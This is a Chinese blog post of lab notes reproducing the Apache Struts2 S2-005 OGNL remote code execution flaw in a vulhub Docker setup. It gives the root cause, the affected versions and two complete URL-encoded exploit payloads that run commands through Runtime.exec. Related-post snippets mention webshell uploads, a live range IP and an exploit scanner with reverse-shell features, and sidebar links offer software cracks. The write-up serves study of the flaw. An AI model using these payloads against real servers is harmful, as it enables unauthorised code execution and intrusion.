Struts2漏洞S2-005复现笔记

【web攻防】安鸾靶场开发框架Struct2远程命令执行 Struct2-S2-005/S2-053远程代码执行漏洞 靶场实战+学习记录 struct2 远程命令执行01 随便输入一个 k8工具连接 上传冰蝎自带马 冰蝎连接 Struct2远程命令执行02 漏洞地址 http://106.15.50.112:8027/hello.action 漏洞POC %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymp... 阅读详情

Struts2漏洞S2-005复现笔记

漏洞原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

影响版本:Struts 2.0.0-2.1.8.1

漏洞搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-005

运行以下命令启动环境

docker-compose build
docker-compose up -d

搭建成功:
在这里插入图片描述

构建poc

使用抓包工具burp suite,修改数据包插入poc

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

在这里插入图片描述

Poc2:

?%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27

在这里插入图片描述

查看数据连接状态

命令:

docker exec -it c25543ef6c4c /bin/bash

ls /tmp

在这里插入图片描述

【研究】Struts2漏洞之S2-005漏洞环境和POC 【研究】Struts2漏洞之S2-005漏洞环境和可用POC1.环境2.原理3.影响版本4.利用过程POC 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷,具体可以看说明,很简单 2.原理 参考吴翰清的《白帽子讲Web安全》一书。 s2-005漏洞的起源源于S2-003(受影响版本... 阅读详情

相关推荐

Struts2 漏洞复现之s2-005

Struts2 漏洞复现之s2-005 原理: s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击

weixin_51220765的博客 1731

s2-005远程执行漏洞靶机练写poc和exp

在安装好环境后,页面如下 靶机的ip为192.168.6.217 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。 在github上有一段没有回显的poc验证 (%27%5cu0023_memberAccess[%5c%27allowStaticM

rlenew的博客 2015

vulhub靶场struts2漏洞复现

0x01、S2-001远程代码执行漏洞 原理 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 影响版本 Struts 2.0.0 - Struts 2.0.8 poc 执行任意命令 %{#a=(new java.lan

weixin_44300286的博客 3086

java struts2 漏洞复现合集

目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 i

whatday的专栏 9752

基于Vulhub的Struts2漏洞一键复现与深度分析实战指南

在Web安全领域,漏洞复现是理解漏洞原理、验证利用手法和评估风险的关键环节。传统手动搭建漏洞环境的方式,常因复杂的依赖配置和环境差异导致效率低下且结果难以复现。Docker容器技术通过将应用及其所有依赖打包成标准化、可移植的镜像,从根本上解决了环境一致性问题,为安全研究提供了理想的沙箱环境。基于Docker的Vulhub项目,集成了大量经典漏洞的预构建环境,实现了从环境搭建到漏洞验证的一站式解决方案。其核心价值在于将安全研究人员从繁琐的环境配置中解放出来,通过简单的docker-compose命令即可快速启

weixin_33646989的博客 357

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 (CVE-2010-1870)

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞 S2-005 (CVE-2010-1870) s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用

qq_51577576的博客 1606

Struts2框架漏洞总结与复现(上) 含Struts2检测工具

在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。时使用了重定向类型,并且还使用paramname作为重定向变量,UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2获取使用{name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任何OGNL表达式导致命令执行。在账号密码的输入框中测试是否存在漏洞。

qq_53058639的博客 2475

Struts2-Scan:Struts2全漏洞扫描利用工具

Struts2-Scan Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057 支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持 如有错误或者问题欢迎大家提问交流,一起解决 运行环境 Python3.6.X及其以上版本 第三方库: click, reque

Struts2漏洞分析与复现合集

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。 漏洞环境搭建 https://github.com/vulhub/vulhub/tree/master/struts2/s2-001 运行以下命令进行设置 .............

未完成的歌~的博客 9263

告别手动转换!用腾讯云轻量服务器+QMT插件,5分钟搞定聚宽策略实盘(附完整源码)

本文详细介绍如何利用腾讯云轻量服务器和QMT插件快速实现聚宽策略的自动化实盘部署。通过云端信号中转站解决协议转换、信号缓存等核心问题,5分钟完成服务器配置,并附完整源码实现零改造实盘方案,显著提升量化交易效率。

weixin_28707739的博客 661

记一次springboot集成海康威视SDK过程

一开始没有接触过物联网这块,走了很多弯路,后面还是自己一点点摸索出来的。有个项目,需要对海康的门禁设备进行集成,后台统一管理设备,进行设备人脸数据的下发、删除等操作。3.我还接入了门禁设备的事件监听,门禁所有的事件都会上报到后台服务,这块代码有需要的可以找我。在linux系统中,sdk我使用的是绝对路径,把Linux版本的文件放到服务时,Acs文件夹下的 各个Manage都有现成的代码,可以根据自己的需要调用即可。路径也不要有中文,切记!2.sdk的存放路径不要有中文,不然会出现很多奇怪的问题。

huang_xiaoen的博客 2350

struts2远程代码执行漏洞合集

声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 影响范围 Struts 2.0.0 - Struts 2.0.8 复现过程 使用vulhub cd /app/vulhub-m

黑白的博客 9422

AI驱动全栈开发实战:基于Spec与Codex的规格驱动开发指南

1. 先搞清楚“AI重构前端全栈”到底在解决什么实际问题 最近很多人在聊“AI重构前端全栈”,听起来像是又一个营销概念。但如果你真的拆开看,它核心解决的是一个非常具体且痛苦的问题: 一个开发者,如何从零开始,系统性地、不跑偏地完成一个完整项目,并且保证代码质量和架构一致性。 传统开发流程里,产品经理出PRD,前后端开会对齐,前端画页面,后端写接口,测试再介入。这个过程沟通成本高,文档容易过时,新人上手慢。而“AI重构”的思路,是试图用一套 规范化的指令(Spec) 来驱动AI(比如Codex这类模型)生成代

weixin_30596023的博客 460

Struts2框架漏洞总结与复现(S2-001,S2-005,S2-007)

MVC(模型-视图-控制器)是一种常用的软件设计模式,用于分离应用程序的业务逻辑、数据和用户界面。它通过将应用程序分为三个核心组件(Model、View 和 Controller),实现了关注点分离,从而提高了代码的可维护性和扩展性。

Cccchuan_的博客 1904

3GPP协议解读_物理层系列(一)_物理层协议怎么看?

5G NR相关协议一般都在38系列,点进去以后可以看到,38.2xx系列为物理层相关协议,为了掌握物理层相关知识,应该怎么看协议呢?我建议从38.201读起,对38.2xx系列协议有一个整体的把握。

JCMLSY的博客 1329

Aduino 通过I2C接口读取MPU6050模块数据

Aduino ESP9266通过I2C接口读取MPU6050模块数据 MPU6050模块 原理图 所需库:Adafruit_MPU6050 Adafruit_BusIO Adafruit Unified Sensor 接线示意图 ESP8266---MPU6050 VCC -- 3.3v GND -- GND D2 -- SDA D1 -- SCL 示例程序代码 #include <Adafruit_MPU6050.h> #include <Adafruit

perseverance51博客 621

Vulhub下的Struts-2漏洞复现

参考网址: https://github.com/phith0n/vulhub/tree/master/struts2/ Struts-S2-001 远程代码利用表单验证错误 1.漏洞描述 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的...

weixin_44508748的博客 2万+

在claude code desktop中安装pdf处理skill的实战教程

本文介绍了在Claude Code Desktop中安装PDF处理Skill的详细教程。针对国内用户使用第三方API时无法直接调用官方插件的问题,提供了完整的解决方案。教程从下载Anthropic官方Skills源码开始,逐步演示了如何将PDF处理模块打包、上传至Claude Code Desktop,并最终成功加载使用。整个过程采用全流程拆解方式,确保新手也能快速上手。通过本文,读者可以掌握在非官方环境下扩展Claude Code功能的方法,从而提升工作效率

weixin_43178406的博客 9万+

【漏洞复现】Struts2系列漏洞复现

Structs2系列:恶意的OGNL表达式 ,可造成 任意代码执行

blackpeach的博客 1488

【KingSCADA】如何建立硬件系统及相关变量

本篇主要讲解如何定义设备,如何定义变量。KingSCADA3.8的采集系统是指负责和现场设备进行通讯,并采集现场数据和控制现场数据的模块,称之为采集器,也叫IOServer应用,它是一组独立的应用程序,可以脱离KingSCADA3.8软件,它依赖于KingSCADA3.8驱动产品,通过驱动与IO设备进行通讯。采集系统由通讯链路,设备,数据块组成。链路:链路是指计算机通过什么方式(接口)与设备进行连接,链路类别:串口,以太网,GPRS,Modem,通信卡,采集卡,无链路。

做有价值的事,积累有价值的笔记! 1万+

Visual Studio调试技巧与实用方法总结(实战经验分享)

本文根据多年的项目实战经验,详细介绍一些Visual Studio常用的高效调试手段与技巧。

dvlinker的技术专栏 3万+

Struts2漏洞复现

Struts2漏洞复现

weixin_51151498的博客 1821

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Apache Struts2漏洞复现之s2-005漏洞复现

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。 缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

热爱学习,喜欢折腾! 765

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

struts2漏洞s2-045漏洞利用测试

s2-045漏洞是一个可以执行远程命令的漏洞,该漏洞是struts2上传文件使用参数struts.multipart.parser=jakarta,并且文件上传采用了commons-fileupload的api导致的。只是使用struts.multipart.parser=jakarta并不能导致这个问题,需要在请求时,请求头使用Content-Type参数,这个参数必须带上一串奇怪的ognl表达...

feinifi的博客 6642

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

s2-059漏洞复现

s2-059 Struts2介绍 是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控

Birdman-one的博客 1616

mvc与struts2漏洞复现

文章目录1. 什么是mvc1.1 model1.2 controller1.3 view2. struts2漏洞原理2.1 OGNL2.2 expression2.3 root2.4 content3. S2-001的理解4. 其他参考文章 1. 什么是mvc mvc分为三部分,model、view、controller,是一种软件设计典范。 1.1 model 负责数据处理,并将处理结果返回给view显示出来。 1.2 controller 负责接收view传递的数据,并决定将这些数据传递给哪一个mode

Shanfenglan's blog 1178
上一篇: Struts2漏洞S2-001复现
下一篇: struts2远程S2-012复现学习
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值